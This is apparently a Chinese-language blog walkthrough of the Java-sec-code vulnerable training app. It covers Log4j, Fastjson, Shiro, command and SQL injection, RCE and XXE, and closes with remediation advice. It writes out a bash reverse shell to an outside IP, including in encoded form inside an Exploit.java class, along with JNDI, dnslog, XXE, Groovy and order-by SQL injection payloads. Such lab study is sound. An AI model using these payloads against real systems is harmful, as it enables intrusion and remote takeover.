Java-sec-code靶场分析练习
字数 2086 2025-08-29 08:30:06

Java-sec-code靶场漏洞分析与实践指南

环境搭建

基础环境要求

  • MySQL 8.0
  • Java 1.8
  • Maven 3.9
  • IDEA开发环境

搭建步骤

  1. 克隆项目仓库:

    git clone https://github.com/JoyChou93/java-sec-code
    
  2. 修改数据库配置:

    • 编辑application.properties文件
    • 修改数据库连接密码
  3. 导入数据库文件

  4. 在IDEA中打开项目,直接点击run按钮运行

  5. 访问本地8080端口(admin/admin123)

常见问题解决

  • 登录无响应问题:请求远程jquery.min.js报502错误
    • 解决方案:替换为CDN链接
    https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js
    

漏洞分析与利用

1. Log4j漏洞(CVE-2021-44228)

漏洞位置

  • Controller层的log4j文件
  • 使用logger.error记录token值

利用尝试

  1. 直接访问:

    http://localhost:8080/log4j?token=${jndi:ldap://ktrpaedmrm.zaza.eu.org}
    
    • 结果:报400错误(包含非法字符)
  2. URL编码特殊字符后访问:

    • 成功返回200

反弹shell尝试

  1. 生成反弹shell命令:

    bash -i >& /dev/tcp/189.1.226.116/8989 0>&1
    
  2. Base64编码:

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}
    
  3. 编写Exploit.java:

    import java.lang.Runtime;
    import java.lang.Process;
    
    public class Exploit {
        public Exploit(){
            try{
                Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}");
            }catch(Exception e){
                e.printStackTrace();
            }
        }
    
        public static void main(String[] argv){
            Exploit e = new Exploit();
        }
    }
    
  4. 编译为Exploit.class并部署

利用失败原因

  • Java 8u191+默认禁用远程类加载
  • 系统属性com.sun.jndi.ldap.object.trustURLCodebase设置为false
  • 测试环境为Java 1.8.0_202

其他检测方法

  • 全局查找logger关键字,检查其他可能存在CVE-2021-44228漏洞的地方

2. Fastjson漏洞

漏洞版本

  • 项目引用1.2.24版本
  • <=1.2.24版本autoType默认开启且无严格黑名单限制

审计关键词

  • JSON.parse
  • JSON.parseObject
  • @type (JSON中的类名指定字段)
  • Feature.SupportNonPublicField

验证方法

  1. POST请求/fastjson/deserialize
  2. 传输application/json格式数据:
    {
        "@type":"java.net.Inet4Address",
        "val":"k74n3o.ceye.io"
    }
    
    • 返回200且收到dnslog响应则存在漏洞

高版本JDK绕过

  • 对于JDK 11.0.1、8u191、7u201、6u211及以上版本
  • 使用受害者本地的类作为恶意Reference Factory攻击RMI
  • 利用LDAP返回序列化数据触发Gadget

3. Shiro漏洞

漏洞验证

  1. 访问/shiro/deserialize
    • 提示"No rememberMe cookie. Right?"
  2. 在请求包Cookie字段添加:
    ;rememberMe=true
    

利用工具

  • 使用工具进行利用
  • 回显模式选择TomcatEcho

注意事项

  • 服务端会抛出很多异常

4. 命令注入(CmdInject)

Windows环境

  • 需要修改源代码

利用方式

http://localhost:8080/codeinject?filepath=%7Cwhoami
  • 使用|来执行多条命令

安全过滤

  • /codeinject/sec调用SecurityUtil.cmdFilter()
  • 只允许^[a-zA-Z0-9_字符

5. SQL注入

未过滤直接拼接

  • /sqli/mybatis/vuln01
  • /jdbc/vuln

安全写法

  • /jdbc/sec采用预编译:
    String sql = "select * from users where username = ?";
    PreparedStatement st = con.prepareStatement(sql);
    st.setString(1, username);
    

错误用法

  • /jdbc/ps/vuln虽然使用prepareStatement但仍直接拼接:
    String sql = "select * from users where username = '" + username + "'";
    PreparedStatement st = con.prepareStatement(sql);
    

MyBatis漏洞

  1. /mybatis/vuln02

    • 使用like进行模糊查询:
      <select id="findByUserNameVuln02" parameterType="String" resultMap="User">
          select * from users where username like '%${_parameter}%'
      </select>
      
    • 构造' or 1=1--即可注入
  2. /mybatis/vuln03

    • 使用${}直接拼接order by语句:
      <select id="findByUserNameVuln03" parameterType="String" resultMap="User">
          select * from users
          <if test="order != null">
              order by ${order} asc
          </if>
      </select>
      

Order by注入利用方式

  1. 数字越界报错:

    ORDER BY 5 --
    
    • 若表仅4列,则报错:Unknown column '5' in 'order clause'
  2. 盲注探测列名:

    ORDER BY IF(database()='test', 1, (SELECT 1 UNION SELECT 2)) --
    
  3. 布尔注入:

    ORDER BY IF(SUBSTRING(database(),1,1)='a', 1, 2) --
    
  4. 延时注入:

    ORDER BY IF(1=1, SLEEP(2), 1) --
    
  5. 报错注入:

    ORDER BY (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)
    

限制与注意事项

  • 无法直接联合查询(UNION)
  • 数字必须介于1到查询结果的列数之间
  • 复合语句的数据库兼容性

6. RCE(远程代码执行)

Runtime.exec

  • /rce/runtime/exec

ProcessBuilder

  • /rce/ProcessBuilder
  • Linux环境下可执行:
    @GetMapping("/ProcessBuilder")
    public String processBuilder(String cmd) {
        StringBuilder sb = new StringBuilder();
        try {
            String[] arrCmd = {"/bin/sh", "-c", cmd};
            ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
            Process p = processBuilder.start();
            // 处理输出...
        } catch (Exception e) {
            return e.toString();
        }
        return sb.toString();
    }
    

JS命令执行

  • /rce/jscmd
  • 使用Nashorn的JS调用Java类:
    // test.js
    (function() {
        var System = Java.type("java.lang.System");
        var Runtime = Java.type("java.lang.Runtime");
        Runtime.getRuntime().exec("calc.exe");
        return "Command executed: " + System.getProperty("os.name");
    })
    

SnakeYAML反序列化

  • /rce/vuln/yarm
  • 安全写法使用SafeConstructor

Groovy RCE

@GetMapping("groovy")
public void groovyshell(String content) {
    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate(content);
}
  • 利用:
    http://localhost:8080/rce/groovy?content="calc".execute()
    

7. XXE漏洞

无回显XXE

  • /xmlReader/vuln
  • 使用dnslog验证:
    Content-Type: application/xml
    <!DOCTYPE root [
        <!ENTITY xxe SYSTEM "http://0e3fa97c.log.dnslog.sbs">
    ]>
    <root>&ampxxe;</root>
    

安全最佳实践

  1. Log4j

    • 升级到最新安全版本
    • 设置log4j2.formatMsgNoLookups=true
  2. Fastjson

    • 升级到最新安全版本
    • 关闭autotype功能
  3. SQL注入防护

    • 使用预编译语句
    • 严格参数绑定
    • 避免直接拼接SQL
  4. RCE防护

    • 避免直接执行用户输入
    • 使用白名单限制可执行命令
    • 对用户输入进行严格过滤
  5. XXE防护

    • 禁用外部实体解析
    XMLReader xmlReader = XMLReaderFactory.createXMLReader();
    xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
    xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    

本指南详细介绍了Java-sec-code靶场中的各种漏洞类型及其利用方法,同时也提供了相应的防护建议。在实际开发中,应当遵循安全编码规范,避免这些常见的安全漏洞。

Java-sec-code靶场漏洞分析与实践指南 环境搭建 基础环境要求 MySQL 8.0 Java 1.8 Maven 3.9 IDEA开发环境 搭建步骤 克隆项目仓库: 修改数据库配置: 编辑 application.properties 文件 修改数据库连接密码 导入数据库文件 在IDEA中打开项目,直接点击run按钮运行 访问本地8080端口(admin/admin123) 常见问题解决 登录无响应问题 :请求远程jquery.min.js报502错误 解决方案:替换为CDN链接 漏洞分析与利用 1. Log4j漏洞(CVE-2021-44228) 漏洞位置 Controller层的log4j文件 使用 logger.error 记录token值 利用尝试 直接访问: 结果:报400错误(包含非法字符) URL编码特殊字符后访问: 成功返回200 反弹shell尝试 生成反弹shell命令: Base64编码: 编写Exploit.java: 编译为Exploit.class并部署 利用失败原因 Java 8u191+默认禁用远程类加载 系统属性 com.sun.jndi.ldap.object.trustURLCodebase 设置为false 测试环境为Java 1.8.0_ 202 其他检测方法 全局查找 logger 关键字,检查其他可能存在CVE-2021-44228漏洞的地方 2. Fastjson漏洞 漏洞版本 项目引用1.2.24版本 <=1.2.24版本autoType默认开启且无严格黑名单限制 审计关键词 JSON.parse JSON.parseObject @type (JSON中的类名指定字段) Feature.SupportNonPublicField 验证方法 POST请求 /fastjson/deserialize 传输application/json格式数据: 返回200且收到dnslog响应则存在漏洞 高版本JDK绕过 对于JDK 11.0.1、8u191、7u201、6u211及以上版本 使用受害者本地的类作为恶意Reference Factory攻击RMI 利用LDAP返回序列化数据触发Gadget 3. Shiro漏洞 漏洞验证 访问 /shiro/deserialize 提示"No rememberMe cookie. Right?" 在请求包Cookie字段添加: 利用工具 使用工具进行利用 回显模式选择TomcatEcho 注意事项 服务端会抛出很多异常 4. 命令注入(CmdInject) Windows环境 需要修改源代码 利用方式 使用 | 来执行多条命令 安全过滤 /codeinject/sec 调用 SecurityUtil.cmdFilter() 只允许 ^[a-zA-Z0-9_ 字符 5. SQL注入 未过滤直接拼接 /sqli/mybatis/vuln01 /jdbc/vuln 安全写法 /jdbc/sec 采用预编译: 错误用法 /jdbc/ps/vuln 虽然使用prepareStatement但仍直接拼接: MyBatis漏洞 /mybatis/vuln02 : 使用like进行模糊查询: 构造 ' or 1=1-- 即可注入 /mybatis/vuln03 : 使用 ${} 直接拼接order by语句: Order by注入利用方式 数字越界报错: 若表仅4列,则报错:Unknown column '5' in 'order clause' 盲注探测列名: 布尔注入: 延时注入: 报错注入: 限制与注意事项 无法直接联合查询(UNION) 数字必须介于1到查询结果的列数之间 复合语句的数据库兼容性 6. RCE(远程代码执行) Runtime.exec /rce/runtime/exec ProcessBuilder /rce/ProcessBuilder Linux环境下可执行: JS命令执行 /rce/jscmd 使用Nashorn的JS调用Java类: SnakeYAML反序列化 /rce/vuln/yarm 安全写法使用 SafeConstructor Groovy RCE 利用: 7. XXE漏洞 无回显XXE /xmlReader/vuln 使用dnslog验证: 安全最佳实践 Log4j : 升级到最新安全版本 设置 log4j2.formatMsgNoLookups=true Fastjson : 升级到最新安全版本 关闭autotype功能 SQL注入防护 : 使用预编译语句 严格参数绑定 避免直接拼接SQL RCE防护 : 避免直接执行用户输入 使用白名单限制可执行命令 对用户输入进行严格过滤 XXE防护 : 禁用外部实体解析 本指南详细介绍了Java-sec-code靶场中的各种漏洞类型及其利用方法,同时也提供了相应的防护建议。在实际开发中,应当遵循安全编码规范,避免这些常见的安全漏洞。